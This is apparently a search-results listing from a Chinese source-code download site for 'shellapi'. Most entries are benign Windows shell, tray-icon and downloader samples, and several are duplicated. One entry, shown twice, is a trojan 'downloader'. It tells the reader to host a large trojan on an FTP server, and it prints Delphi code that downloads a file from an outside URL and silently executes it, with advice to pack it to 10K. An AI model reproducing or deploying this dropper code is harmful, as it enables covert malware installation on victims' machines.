Location:
Search - shellapi
Search list
Description:
Platform: |
Size: 4672 |
Author: |
Hits:
Description: 执行后可以下载指定程序并执行
你先把大体积木马放到一固定FTP空间上
打开Delphi 打开down.dpr，看到了吧 改一下编译 ok 个人版下载者：）
用工具压一下，只有10K
这样说完是不行的，说一下代码：
program wsdgsRoad
uses
URLMon,
ShellApi
var
u,l: pchar
{.$R *.res}
function DownloadFile(SourceFile, DestFile: string): Boolean
begin
GetMem(u,100)
GetMem(l,100)
u:= http://www.jm-my.com/ip2.txt //改为你要下载的网址
l:= c:/downpage.txt //改为你要存放并打开文件的路径
try
Result := UrlDownloadToFile(nil, PChar(u), PChar(l), 0, nil) = 0
except
Result := False
end
end
begin
if DownloadFile(u, l) then
begin
ShellExecute(0, PChar( open ), PChar(l),
PChar( ), nil, 0)
end
//freemem(u)
//freemem(l)
end.
先试一下。。。。 ok,
明白了吗 再见-after implementation can be downloaded designated procedures and implement your first Mass Trojans into a fixed space on the open FTP D elphi open down.dpr seen it change your build ok individual downloads : ) tool, pressure that is only 10K finish this is not enough, saying that what code : program uses URLMon wsdgsRoad, ShellApi var u, l : pchar (. $ R *. res) function DownloadFile (Sour ceFile, DestFile : string) : Boolean begin GetMem (u, 100) GetMem (l, 100) u : = http : / / www.jm-my.com/ip2.txt / / read you want to download the website l : = c : / downpage.txt / / read your document storage and open the path to try Result : = UrlDownloadToFile (nil, PChar (u), PChar (l), 0, nil) = 0 except Result : = False end if end begin DownloadFile (u, l) then begin ShellExecute (0, PChar (open)
Platform: |
Size: 1436 |
Author: 韩冰 |
Hits:
Description: SHELLAPI.zip
Platform: |
Size: 4985 |
Author: 曾维宏 |
Hits:
Description: 类似flashget下载工具代码
本来想在完善了上传的，但太忙了，有些功能可能没有实现或存在一些 bug.
编译运行说明
1)安装BCG 9.4把BCGCBPRO940d.dll BCGPStyle2007Luna.dll BCGPStyle2007Obsidian.dll BCGPStyle2007Silver.dll copy 到bin目录下
2)把程序里的SHELLAIP目录下的SHELLAPI.H覆盖vc安装目录下vc98/include/下
3）编译，运行。公司里下载请设置HTTP代理。
软件功能特点:多线程下载，断点序传，暂停下载，方便的目录管理，支持HTTP代理(我们公司里下高设置HTTP代码)，方便的个性化设置，界面美观，占用内存小，下载速度快等等。
不足的地方:里面有些功能只做了界面，没有实现，:) 比如现在下载文件只能放在C:\\MyDown\\下 BT下载功能也没有做。没有仔细的测试过，可能存在一些bug.
有什么问题可以联系我
QQ:1495501
Platform: |
Size: 429677 |
Author: 李明 |
Hits:
Description: ShellAPI方面的几个例子.-ShellAPI the few examples.
Platform: |
Size: 45970 |
Author: 艾提 |
Hits:
Description: 一个系统托盘的简单例程，还是不错的
Platform: |
Size: 7465 |
Author: 范煜 |
Hits:
Description: 一些未公开的Windows ShellAPI的调用-some undisclosed Windows ShellAPI call
Platform: |
Size: 10632 |
Author: 宏博 |
Hits:
Description: Delphi下使用Windows Shell API的几个控件-Delphi uses Windows Shell API several to control
Platform: |
Size: 210944 |
Author: 站长 |
Hits:
Description: 示例如何使用TrayIcon,ShellAPI编程-Examples of how to use the TrayIcon, ShellAPI Programming
Platform: |
Size: 110592 |
Author: 甘化新 |
Hits:
Description: SHELLAPI.zip
Platform: |
Size: 5120 |
Author: 曾维宏 |
Hits:
Description: ShellAPI方面的几个例子.-ShellAPI the few examples.
Platform: |
Size: 46080 |
Author: 艾提 |
Hits:
Description: 一些未公开的Windows ShellAPI的调用-some undisclosed Windows ShellAPI call
Platform: |
Size: 10240 |
Author: 宏博 |
Hits:
Description: 执行后可以下载指定程序并执行
你先把大体积木马放到一固定FTP空间上
打开Delphi 打开down.dpr，看到了吧 改一下编译 ok 个人版下载者：）
用工具压一下，只有10K
这样说完是不行的，说一下代码：
program wsdgsRoad
uses
URLMon,
ShellApi
var
u,l: pchar
{.$R *.res}
function DownloadFile(SourceFile, DestFile: string): Boolean
begin
GetMem(u,100)
GetMem(l,100)
u:= http://www.jm-my.com/ip2.txt //改为你要下载的网址
l:= c:/downpage.txt //改为你要存放并打开文件的路径
try
Result := UrlDownloadToFile(nil, PChar(u), PChar(l), 0, nil) = 0
except
Result := False
end
end
begin
if DownloadFile(u, l) then
begin
ShellExecute(0, PChar( open ), PChar(l),
PChar( ), nil, 0)
end
//freemem(u)
//freemem(l)
end.
先试一下。。。。 ok,
明白了吗 再见-after implementation can be downloaded designated procedures and implement your first Mass Trojans into a fixed space on the open FTP D elphi open down.dpr seen it change your build ok individual downloads : ) tool, pressure that is only 10K finish this is not enough, saying that what code : program uses URLMon wsdgsRoad, ShellApi var u, l : pchar (. $ R*. res) function DownloadFile (Sour ceFile, DestFile : string) : Boolean begin GetMem (u, 100) GetMem (l, 100) u : = http :// www.jm-my.com/ip2.txt// read you want to download the website l : = c :/downpage.txt// read your document storage and open the path to try Result : = UrlDownloadToFile (nil, PChar (u), PChar (l), 0, nil) = 0 except Result : = False end if end begin DownloadFile (u, l) then begin ShellExecute (0, PChar (open)
Platform: |
Size: 1024 |
Author: 韩冰 |
Hits:
Description: 类似flashget下载工具代码
本来想在完善了上传的，但太忙了，有些功能可能没有实现或存在一些 bug.
编译运行说明
1)安装BCG 9.4把BCGCBPRO940d.dll BCGPStyle2007Luna.dll BCGPStyle2007Obsidian.dll BCGPStyle2007Silver.dll copy 到bin目录下
2)把程序里的SHELLAIP目录下的SHELLAPI.H覆盖vc安装目录下vc98/include/下
3）编译，运行。公司里下载请设置HTTP代理。
软件功能特点:多线程下载，断点序传，暂停下载，方便的目录管理，支持HTTP代理(我们公司里下高设置HTTP代码)，方便的个性化设置，界面美观，占用内存小，下载速度快等等。
不足的地方:里面有些功能只做了界面，没有实现，:) 比如现在下载文件只能放在C:\MyDown\下 BT下载功能也没有做。没有仔细的测试过，可能存在一些bug.
有什么问题可以联系我
QQ:1495501
Platform: |
Size: 429056 |
Author: 李明 |
Hits:
Description: 一个系统托盘的简单例程，还是不错的-A simple routine system tray, or good
Platform: |
Size: 7168 |
Author: 范煜 |
Hits:
Description: 本例程是利用Windows API函数Shell_NotifyIcon()实现系统托盘图标功能,这个函数和其他处理Windows外壳的函数都包含在ShellAPI单元中
在窗口创建时在Windows任务栏的右下角创建一个托盘图标,图标由两个ICON交替出现,当窗口最小化时任务栏中只有托盘图标,当左键单击托盘图标窗口恢复,图标停止交替.-This routine is to use Windows API function Shell_NotifyIcon () function to achieve the system tray icon, this function and other functions to deal with Windows shell ShellAPI units are included in the window created in the Windows task bar at the bottom right corner to create a tray icon , ICON icon alternately by the two, when the window minimized only when the taskbar tray icon, when left-click tray icon to restore the window, the icon to stop the turn.
Platform: |
Size: 10240 |
Author: SeaHe |
Hits:
Description: vb中shell API的应用实例
vb中shell API的应用实例-vb shell api
Platform: |
Size: 10240 |
Author: djxysh |
Hits:
Description: 运用ShellApi函数修改系统日期格式的程序-ShellApi function using the program modify the system date format
Platform: |
Size: 174080 |
Author: 酷屁了 |
Hits:
Description: 一个简单的下载#include<windows.h>
#include<urlmon.h>
#include<process.h>
#include<Shellapi.h> //这个头文件里有ShellExecute的定义
#pragma comment (lib,"Urlmon.lib")
int main()
{
URLDownloadToFile(NULL,"http://www.baidu.com/img/baidu_sylogo1.gif","D:\\logo.gif",0,NULL)
ShellExecute(0,"open","D:\\logo.gif",NULL,NULL,SW_SHOW)
exit(0)
return 0
}
者源码 -#include<windows.h>
#include<urlmon.h>
#include<process.h>
#include<Shellapi.h> //这个头文件里有ShellExecute的定义
#pragma comment (lib,"Urlmon.lib")
int main()
{
URLDownloadToFile(NULL,"http://www.baidu.com/img/baidu_sylogo1.gif","D:\\logo.gif",0,NULL)
ShellExecute(0,"open","D:\\logo.gif",NULL,NULL,SW_SHOW)
exit(0)
return 0
}
Platform: |
Size: 1143808 |
Author: 刘林 |
Hits:
Description: Delphi利用ShellApi输入CMD，打开CMD计算器，游戏，工具等命令。-The Delphi to use ShellApi type CMD, and open CMD calculator, games, tools and other command.
Platform: |
Size: 7168 |
Author: 黄大仙 |
Hits: